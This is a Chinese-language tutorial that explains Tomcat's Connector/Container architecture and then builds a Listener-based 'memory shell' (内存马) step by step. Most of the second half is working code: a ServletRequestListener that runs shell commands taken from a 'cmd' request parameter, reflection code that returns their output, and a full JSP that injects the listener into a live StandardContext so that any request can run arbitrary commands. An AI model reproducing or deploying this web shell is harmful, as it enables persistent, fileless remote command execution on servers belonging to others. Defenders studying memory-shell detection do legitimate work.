本文来源无问社区,更多实战内容可前往查看http://www.wwlib.cn/index.php/artread/artid/3651.html
Tomcat 介绍
Tomcat的主要功能
toncat作为一个web服务器,实现了两个核心的功能
http 服务器功能:进行socket 通信(基于TCP/IP),解析HTTP 报文
Servlet 容器功能:加载和管理Servlet ,由Servlet 具体负责处理Rqeusts 请求
以上两个功能对应着tomcat的两个核心组件,分别是连接器(Connector)和容器(Container),连接器负责对外交流(完成http服务器功能),容器负责内部处理(完成Servlet容器功能)
- Server server 服务器的意思,代表着整个tomcat服务器,一个tomcat只有一个Servler,Server中包含一个Server 组件,用户提供具体服务。
- Service 服务是server 内部的组件,一个Server可以包括多个Service。将若干个Connector 组件绑定到一个Container。
- Connector 连接器,是service的核心组件之一,一个service 可以有多个Connector,主要连接客户端的请求,用于接受请求并将请求封装成request和response,然后交给Container进行处理,Container 处理完之后交个Connector返回给客户端。
- Container 负责处理用户的Servlet 请求。
Connector 连接器
连接器主要完成以下三个核心功能
- socket 通信,即网络编程
- 解析处理应用层协议,封装成一个Request对象。
- 将request 转换为ServletReqiest,将Response转换为ServletResponse
以上三个组件分别对应 EndPoint、Processor、Adapter来完成,Endpoint 负责提供请求字节流给Process,Porcess负责提供Tomcat 定义的request 对象来给Adapter,Adapter负责提供标准的ServletRequest 对象给Servlet 容器。
Container 容器
Container 组件成为Catalina,其是tomcat的核心,在Container 中,有四种容器,分别是Engine,Host,Context, wrapper,这四个容器成为套娃式的分层结构设计。
四种容器的作用:
- Engine 表示整个Catalina的Servlet 引擎,用来管理多个虚拟站点,一个service最多只能有一个Engine,但是一个引擎可包含多个host。
- Host 代表一个虚拟机,或者一个站点,可以给Tomcat 配置多个虚拟主机的地址,而一个虚拟主机可包含多个Context
- Context 表示一个web应用程序,每一个context都有唯一的path,一个web应用可以包含多个wrapper
- Wrapper 表示一个Servlet,负责管理整个Servlet的声明周期,包括装载,初始化,资源回收等。
Listener 内存马
最适合作为内存马的监听器为ServletRequestListener,它用于监听ServletRequest 对象的创建和销毁过程,因此当我们发起任意请求的时候,都会触发。
Listener 就是监听器,能够监听一些事件从而达到一些效果,要实现一个Listener 必须实现EventListener 接口
编写一个ServletRequestListener 接口的实现类进行测试:
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.HttpServletRequest;@WebListener
public class ListenerTest implements ServletRequestListener {public void requestInitialized(ServletRequestEvent servletRequestEvent) {HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();try {String cmd = request.getParameter("cmd");if (cmd != null) {Runtime.getRuntime().exec(cmd);}} catch (Exception e) {e.printStackTrace();}}public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}
}
当访问任意路由的时候,都可以执行命令
存在的路径
不存在的路径
回显
既然实现了命令执行,那么就需要做到回显,那么现在就需要分析两个问题
1、 恶意代码从哪里传入
2、 tomcat的Listener 是如何实现的
恶意代码的位置已经明了了,就是传入的参数,下面就是找到Listener 是如何实现注册的。
在ServletRequestEvent; 中getServletRequest;()方法,返回了ServletRequest; 接口的实现类,
具体是哪个实现类,可以打印出来,查看一下
发现返回了RequestFacade 这个HttpServlet的实现类
这里面有一个Request类型的属性。
所以可以通过反射修改request的属性字段来获取到Request 属性,然后就可以通过reqeust属性的getResponse方法来获取Response类,
然后通过输出流即可构造回显
package com.qq.Controller;import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpServletRequest;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;public class ServletListenTest implements ServletRequestListener {public void requestDestroyed(ServletRequestEvent servletRequestEvent) {}public void requestInitialized(ServletRequestEvent servletRequestEvent) {HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest();try {String cmd = req.getParameter("cmd");if (cmd != null){Field field = req.getClass().getDeclaredField("request");field.setAccessible(true);Request request = (Request) field.get(req);Response response = request.getResponse();InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream();ByteArrayOutputStream bos = new ByteArrayOutputStream();byte[] bytes = new byte[1024];int a= -1;while ((a = inputStream.read(bytes)) != -1){bos.write(bytes, 0, a);}response.getWriter().write(new String(bos.toByteArray()));}}catch (Exception e){e.printStackTrace();}}
}
Tomcat Listener 注册流程
listenerstart()
在构造好了Listener 之后只需要搞清楚注册流程就可以动态注册了。
在Listener 打个断点
查看堆栈可以定位到StandardContext;#listenerStart;()方法,然后对Listener 进行了实例化。
查看下listener 从findApplicationListeners;方法中获取的
跟进findApplicationListeners;方法,findApplicationListeners是获取applicationListeners属性的
applicationListeners 数组中存放的就是listener的名字
目前可以得知的流程如下:
1、注册的Listener 名字存放在applicationListeners数组中(名字是从web.xml中获取的) 2、findApplicationListeners 函数取出内容并进行实例化,并存储到result中。
继续跟进,首先遍历了results数组,然后在for循环中根据不同类型的Listener添加到不同的数组中,这里的listener 被添加到了eventListeners 数组中。
接下来调用getApplicationLifecycleListeners;获取到applicationEventListenersList;属性(即已注册的listener)
然后调用了setApplicationEventListeners;来进行设置,可以看到方法会先清空applicationEventListenersList; ,所以上面重新取出来进行赋值,然后将获取的数组全部进行传入。
看到applicationEventListenersList; 数组,可以看到List<Object>。所以这里面存放的都是实例化后的Listener
fireRequestInitEvent
在前面的函数部分知道了listemnerStart() 将实例化的listener 添加到了applicationEventListenersList中,但是只存进去是不会触发的,进行第二个断点,然后执行命令,查看调用堆栈
看到调用了requestInitialized(event);;这个listener 就是调用的恶意的Listener实例,可以看到是通过遍历instances数组,而instances数组就是通过getApplicationEventListeners; 来进行获取的值
这里就是上面将函数实例添加进去的地方。所以我们内存马只需要添加到这个数组就可以了
最终构造
先调用getApplicationEventListeners 将applicationEventListenersList 取出来,然后增加我们构造好的listener添加进去
Obeject[] objects = standardContext.getApplicationEventListeners();
List<Object> listeners = Arrays.asList(objects);
List<Object> arrayList = new ArrayList(listeners);
arrayList.add(new ListenerMemShell());
standardContext.setApplicationEventListeners(arrayList.toArray());
由于方法都在StandardContext中,所以需要先获取StandradContext对象
ServletContext servletContext = request.getServletContext();
try {Field applicationContextField = servletContext.getClass().getDeclaredField("context");applicationContextField.setAccessible(true);ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);Field standardContextField = applicationContext.getClass().getDeclaredField("context");standardContextField.setAccessible(true);StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);// Use the standardContext object...
} catch (NoSuchFieldException | IllegalAccessException e) {// Handle the exceptione.printStackTrace();
}
接下来就是编写内存马
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!class ListenerTest implements ServletRequestListener {@Overridepublic void requestDestroyed(ServletRequestEvent servletRequestEvent) {}@Overridepublic void requestInitialized(ServletRequestEvent servletRequestEvent) {HttpServletRequest req = (HttpServletRequest) servletRequestEvent.getServletRequest();try {String cmd = req.getParameter("cmd");if (cmd != null) {Field field = req.getClass().getDeclaredField("request");field.setAccessible(true);Request request = (Request) field.get(req);Response response = request.getResponse();InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[] bytes = new byte[1024];int a = -1;while ((a = in.read(bytes)) != -1) {baos.write(bytes, 0, a);}response.getWriter().write(new String(baos.toByteArray()));}} catch (Exception e) {e.printStackTrace();}}}
%>
<%Field field = request.getClass().getDeclaredField("request");field.setAccessible(true);Request req = (Request) field.get(request);StandardContext standardContext = (StandardContext) req.getContext();ListenerTest listenerTest = new ListenerTest();standardContext.addApplicationEventListener(listenerTest);
%>
或者s
<%Field field = request.getClass().getDeclaredField("request");field.setAccessible(true);Request req = (Request) field.get(request);StandardContext standardContext = (StandardContext) req.getContext();ListenerTest listenerTest = new ListenerTest();Object[] objects = standardContext.getApplicationEventListeners();List<Object> listeners = Arrays.asList(objects);List<Object> arrayList = new ArrayList<>(listeners);arrayList.add(listenerTest);standardContext.setApplicationEventListeners(arrayList.toArray());//standardContext.addApplicationEventListener(listenerTest);
%>
此处为jsp脚本,也可以通过编译成class,然后通过加载字节码进行执行。